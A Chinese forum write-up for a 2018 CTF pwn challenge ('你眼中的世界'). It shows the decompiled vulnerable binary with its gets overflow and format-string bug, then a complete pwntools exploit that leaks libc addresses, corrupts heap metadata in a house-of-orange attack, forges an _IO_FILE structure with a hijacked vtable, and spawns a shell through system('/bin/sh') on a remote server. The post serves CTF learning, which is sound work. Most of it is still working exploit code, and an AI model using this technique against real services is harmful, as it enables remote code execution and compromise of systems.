-
-
[原创]看雪CTF.TSRC 2018 团队赛 第十四题 你眼中的世界
-
2018-12-28 11:44 3795
-
题目源码:
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { signed int v3; // ebx unsigned int v4; // eax void *v5; // rbp v3 = 5; sub_5647BE0B4AB0(); puts("echo from your heart"); do { __printf_chk(1LL, "lens of your word: "); v4 = sub_5647BE0B4AF0(1LL, "lens of your word: "); if ( v4 > 0x1000 ) { puts("too long"); exit(1); } v5 = malloc(v4); __printf_chk(1LL, "word: "); gets(v5); __printf_chk(1LL, "echo: "); __printf_chk(1LL, v5); putchar(10); --v3; } while ( v3 ); return 0LL; }
猜测漏洞在gets,具体怎么利用一无所知。
然后发现函数__printf_chk 没有见过,不知道有没有print不一样的地方。
搜了一下,居然发现了跟此题神似的原题:
hctf2017 babyprintf
并找到wp一篇:
https://bbs.pediy.com/thread-222735.htm
按照此wp操作,得到了libc地址,但是原文中的vtable偏移并不知道怎么来的。
vtable_addr=libc_base+0x3BE4C0
打开libc2.24看了一下

然而再libc2.23 中并无此节__libc_IO_vtables
所以此方法gg.
用google 搜索 hctf2017 pwn unsortedbin attack,找到另外一篇wp:
https://veritas501.space/2017/12/13/IO%20FILE%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/
其中第五部分
HCTF2017 babyprintf
正是此题,wp似乎更为简单。照此wp操作,唯一的问题是此wp中_IO_str_jumps偏移可以直接搜索符号得到,但是2.23中运行并不可以。
好在又找到一篇wp:
https://xz.aliyun.com/t/2411
此文章内介绍了一种搜索_io_str_jumps的方法:
IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print possible_IO_str_jumps_offset break
file.py
from pwn import * _IO_FILE_plus_size = { 'i386':0x98, 'amd64':0xe0 } _IO_FILE_plus = { 'i386':{ 0x0:'_flags', 0x4:'_IO_read_ptr', 0x8:'_IO_read_end', 0xc:'_IO_read_base', 0x10:'_IO_write_base', 0x14:'_IO_write_ptr', 0x18:'_IO_write_end', 0x1c:'_IO_buf_base', 0x20:'_IO_buf_end', 0x24:'_IO_save_base', 0x28:'_IO_backup_base', 0x2c:'_IO_save_end', 0x30:'_markers', 0x34:'_chain', 0x38:'_fileno', 0x3c:'_flags2', 0x40:'_old_offset', 0x44:'_cur_column', 0x46:'_vtable_offset', 0x47:'_shortbuf', 0x48:'_lock', 0x4c:'_offset', 0x54:'_codecvt', 0x58:'_wide_data', 0x5c:'_freeres_list', 0x60:'_freeres_buf', 0x64:'__pad5', 0x68:'_mode', 0x6c:'_unused2', 0x94:'vtable' }, 'amd64':{ 0x0:'_flags', 0x8:'_IO_read_ptr', 0x10:'_IO_read_end', 0x18:'_IO_read_base', 0x20:'_IO_write_base', 0x28:'_IO_write_ptr', 0x30:'_IO_write_end', 0x38:'_IO_buf_base', 0x40:'_IO_buf_end', 0x48:'_IO_save_base', 0x50:'_IO_backup_base', 0x58:'_IO_save_end', 0x60:'_markers', 0x68:'_chain', 0x70:'_fileno', 0x74:'_flags2', 0x78:'_old_offset', 0x80:'_cur_column', 0x82:'_vtable_offset', 0x83:'_shortbuf', 0x88:'_lock', 0x90:'_offset', 0x98:'_codecvt', 0xa0:'_wide_data', 0xa8:'_freeres_list', 0xb0:'_freeres_buf', 0xb8:'__pad5', 0xc0:'_mode', 0xc4:'_unused2', 0xd8:'vtable' } } class IO_FILE_plus_struct(dict): arch = None endian = None fake_file = None size = 0 FILE_struct = [] @LocalContext def __init__(self): self.arch = context.arch self.endian = context.endian if self.arch != 'i386' and self.arch != 'amd64': log.error('architecture not supported!') success('arch: '+str(self.arch)) self.FILE_struct = [_IO_FILE_plus[self.arch][i] for i in sorted(_IO_FILE_plus[self.arch].keys())] print self.FILE_struct self.update({r:0 for r in self.FILE_struct}) self.size = _IO_FILE_plus_size[self.arch] def __setitem__(self, item, value): if item not in self.FILE_struct: log.error("Unknown item %r (not in %r)" % (item, self.FILE_struct)) super(IO_FILE_plus_struct, self).__setitem__(item, value) def __setattr__(self, attr, value): if attr in IO_FILE_plus_struct.__dict__: super(IO_FILE_plus_struct, self).__setattr__(attr, value) else: self[attr]=value def __getattr__(self, attr): return self[attr] def __str__(self): fake_file = "" with context.local(arch=self.arch): for item_offset in sorted(self.item_offset): if len(fake_file) < item_offset: fake_file += "\x00"*(item_offset - len(fake_file)) fake_file += pack(self[_IO_FILE_plus[self.arch][item_offset]],word_size='all') fake_file += "\x00"*(self.size - len(fake_file)) return fake_file @property def item_offset(self): return _IO_FILE_plus[self.arch].keys()
from pwn import * import binascii import time import struct import random import sys g_local=0 context.log_level='debug' #https://bbs.pediy.com/thread-222735.htm def do_one(sh,llen,data): sh.recvuntil('your word: ') sh.sendline(str(llen)) sh.recvuntil(': ') sh.sendline(data) sh=0 if g_local: sh=process("./echopwn") l=ELF("/lib/x86_64-linux-gnu/libc-2.23.so") offset_binsh=0x18cd57 raw_input("ida has attch? Press any key for continue...") else: sh=remote("211.159.175.39",8686) #l=ELF("./libc.2.23.so") #offset_binsh=0x18cd57 l=ELF("/lib/x86_64-linux-gnu/libc-2.23.so") offset_binsh=0x18cd57 #in libc file offset offset_start_main=0x20740 def test(): sh.recvuntil('your word: ') llen=0x90-8 sh.sendline(str(llen)) sh.recvuntil(': ') leak_libc='%1$p %2$p %3$p %4$p %5$p aaa %6$p %7$p bbb %8$p ' sstr='%p'*90 sh.sendline(leak_libc) sh.recvuntil('aaa ') data=sh.recvuntil(' ')[:-1] stack_pointer=int(data,16) sh.recvuntil('bbb ') data=sh.recvuntil(' ')[:-1] real_start_main=int(data,16) # print hex(real_start_main) print hex(stack_pointer) libc_base=real_start_main-offset_start_main-0xf0 real_io_list=libc_base+l.symbols['_IO_list_all'] real_io_stdin_buf_base=libc_base+l.symbols['_IO_2_1_stdin_']+0x40 real_system=libc_base+l.symbols['system'] real_binsh=libc_base+offset_binsh print "libc_base",hex(libc_base) print "real_io_list",hex(real_io_list) print "real_io_stdin_buf_base",hex(real_io_stdin_buf_base) print "real_system",hex(real_system) print "real_binsh",hex(real_binsh) raw_input("xxxxx") #house of orange do_one(sh,0x90-8,'a'*0x80+p64(0)+p64(0xee1)) do_one(sh,0x1000-8,'b'*0x80+p64(0)+p64(0x61)+p64(0xddaa)+p64(real_io_list-0x10)) #do_one(io,0x90-8,'a'*0x10) fake_chunk='\x00'*8+p64(0x61)#why ? io_file? fake_chunk+=p64(0xddaa)+p64(real_io_list-0x10) fake_chunk+=p64(0xffffffffffffff)+p64(0x2)+p64(0)*2+p64( (real_binsh-0x64)/2 ) fake_chunk=fake_chunk.ljust(0xa0,'\x00') fake_chunk+=p64(real_system+0x420) fake_chunk=fake_chunk.ljust(0xc0,'\x00') fake_chunk+=p64(1) vtable_addr=libc_base+0x3c2c60 print "vtable_addr",hex(vtable_addr) payload =fake_chunk payload += p64(0) payload += p64(0) payload += p64(vtable_addr) payload += p64(real_system) payload += p64(2) payload += p64(3) payload += p64(0)*3 # vtable payload += p64(real_system) #do_one(io,0x90-8,'c'*0x80+p64(0)+p64(0x61)+p64(libc_base+0x3c17b8)+p64(real_io_list-0x10) ) do_one(sh,0x90-8,'c'*0x80+payload ) #trigger_ unsort bin #do_one(io,0x1000-8,'%1$p %2$p %3$p %4$p %5$p aaa %6$p %7$p'+'\x00'*2+'aaaa') sh.interactive() def test1(): sh.recvuntil('your word: ') llen=0x90-8 sh.sendline(str(llen)) sh.recvuntil(': ') leak_libc='%1$p %2$p %3$p %4$p %5$p aaa %6$p %7$p bbb %8$p ' sstr='%p'*90 sh.sendline(leak_libc) sh.recvuntil('aaa ') data=sh.recvuntil(' ')[:-1] stack_pointer=int(data,16) sh.recvuntil('bbb ') data=sh.recvuntil(' ')[:-1] real_start_main=int(data,16) # print hex(real_start_main) print hex(stack_pointer) libc_base=real_start_main-offset_start_main-0xf0 real_io_list=libc_base+l.symbols['_IO_list_all'] real_io_stdin_buf_base=libc_base+l.symbols['_IO_2_1_stdin_']+0x40 real_system=libc_base+l.symbols['system'] real_binsh=libc_base+offset_binsh #real_IO_str_jumps=libc_base+l.symbols['_IO_str_jumps'] print "libc_base",hex(libc_base) print "real_io_list",hex(real_io_list) print "real_io_stdin_buf_base",hex(real_io_stdin_buf_base) print "real_system",hex(real_system) print "real_binsh",hex(real_binsh) IO_file_jumps_offset = l.sym['_IO_file_jumps'] IO_str_underflow_offset = l.sym['_IO_str_underflow'] print "IO_str_underflow_offset",hex(IO_str_underflow_offset) print hex(libc_base+IO_str_underflow_offset) for ref_offset in l.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print possible_IO_str_jumps_offset break print "possible_IO_str_jumps_offset",hex(possible_IO_str_jumps_offset) real_IO_str_jumps=libc_base+possible_IO_str_jumps_offset print "real_IO_str_jumps",hex(real_IO_str_jumps) raw_input("xxxxx") # house of orange pay = 'A'*0x200 from FILE import * context.arch = 'amd64' fake_file = IO_FILE_plus_struct() fake_file._flags = 0 fake_file._IO_read_ptr = 0x61 fake_file._IO_read_base =real_io_list-0x10 fake_file._IO_buf_base = real_binsh fake_file._mode = 0 fake_file._IO_write_base = 0 fake_file._IO_write_ptr = 1 fake_file.vtable = real_IO_str_jumps-8 pay+=str(fake_file).ljust(0xe8,'\x00')+p64(real_system) do_one(sh,0x200,pay) # triger OVERFLOW sh.sendline('1') sh.interactive() def test2(): #sh.recvuntil('your word: ') # modify top chunk size pay = 'A'*0x18 + '\xe1\x0f' do_one(sh,8,pay) # leak && triger _start_main pay=r'%p%p%p%p%p%p%pSTART%pEND' #z('b*0x0000000000400810\nc') do_one(sh,0xfff,pay) sh.recvuntil('START') leak = sh.recvuntil('END')[:-3] #libc_base = int(leak,16)-libc.symbols['__libc_start_main']-240 real_start_main=int(leak,16) libc_base=real_start_main-offset_start_main-0xf0 real_io_list=libc_base+l.symbols['_IO_list_all'] #real_io_stdin_buf_base=libc_base+l.symbols['_IO_2_1_stdin_']+0x40 real_system=libc_base+l.symbols['system'] real_binsh=libc_base+offset_binsh #real_IO_str_jumps=libc_base+l.symbols['_IO_str_jumps'] print "libc_base",hex(libc_base) print "real_io_list",hex(real_io_list) #print "real_io_stdin_buf_base",hex(real_io_stdin_buf_base) print "real_system",hex(real_system) print "real_binsh",hex(real_binsh) IO_file_jumps_offset = l.sym['_IO_file_jumps'] IO_str_underflow_offset = l.sym['_IO_str_underflow'] print "IO_str_underflow_offset",hex(IO_str_underflow_offset) print hex(libc_base+IO_str_underflow_offset) for ref_offset in l.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print possible_IO_str_jumps_offset break print "possible_IO_str_jumps_offset",hex(possible_IO_str_jumps_offset) real_IO_str_jumps=libc_base+possible_IO_str_jumps_offset print "real_IO_str_jumps",hex(real_IO_str_jumps) raw_input("xxxxx") # house of orange pay = 'A'*0x200 from FILE import * context.arch = 'amd64' fake_file = IO_FILE_plus_struct() fake_file._flags = 0 fake_file._IO_read_ptr = 0x61 fake_file._IO_read_base =real_io_list-0x10 fake_file._IO_buf_base = real_binsh fake_file._mode = 0 fake_file._IO_write_base = 0 fake_file._IO_write_ptr = 1 fake_file.vtable = real_IO_str_jumps-8 pay+=str(fake_file).ljust(0xe8,'\x00')+p64(real_system) do_one(sh,0x200,pay) # triger OVERFLOW sh.sendline('1') sh.interactive() test2()


最后于 2018-12-28 11:46
被lacoucou编辑
,原因: 修改错字
赞赏
他的文章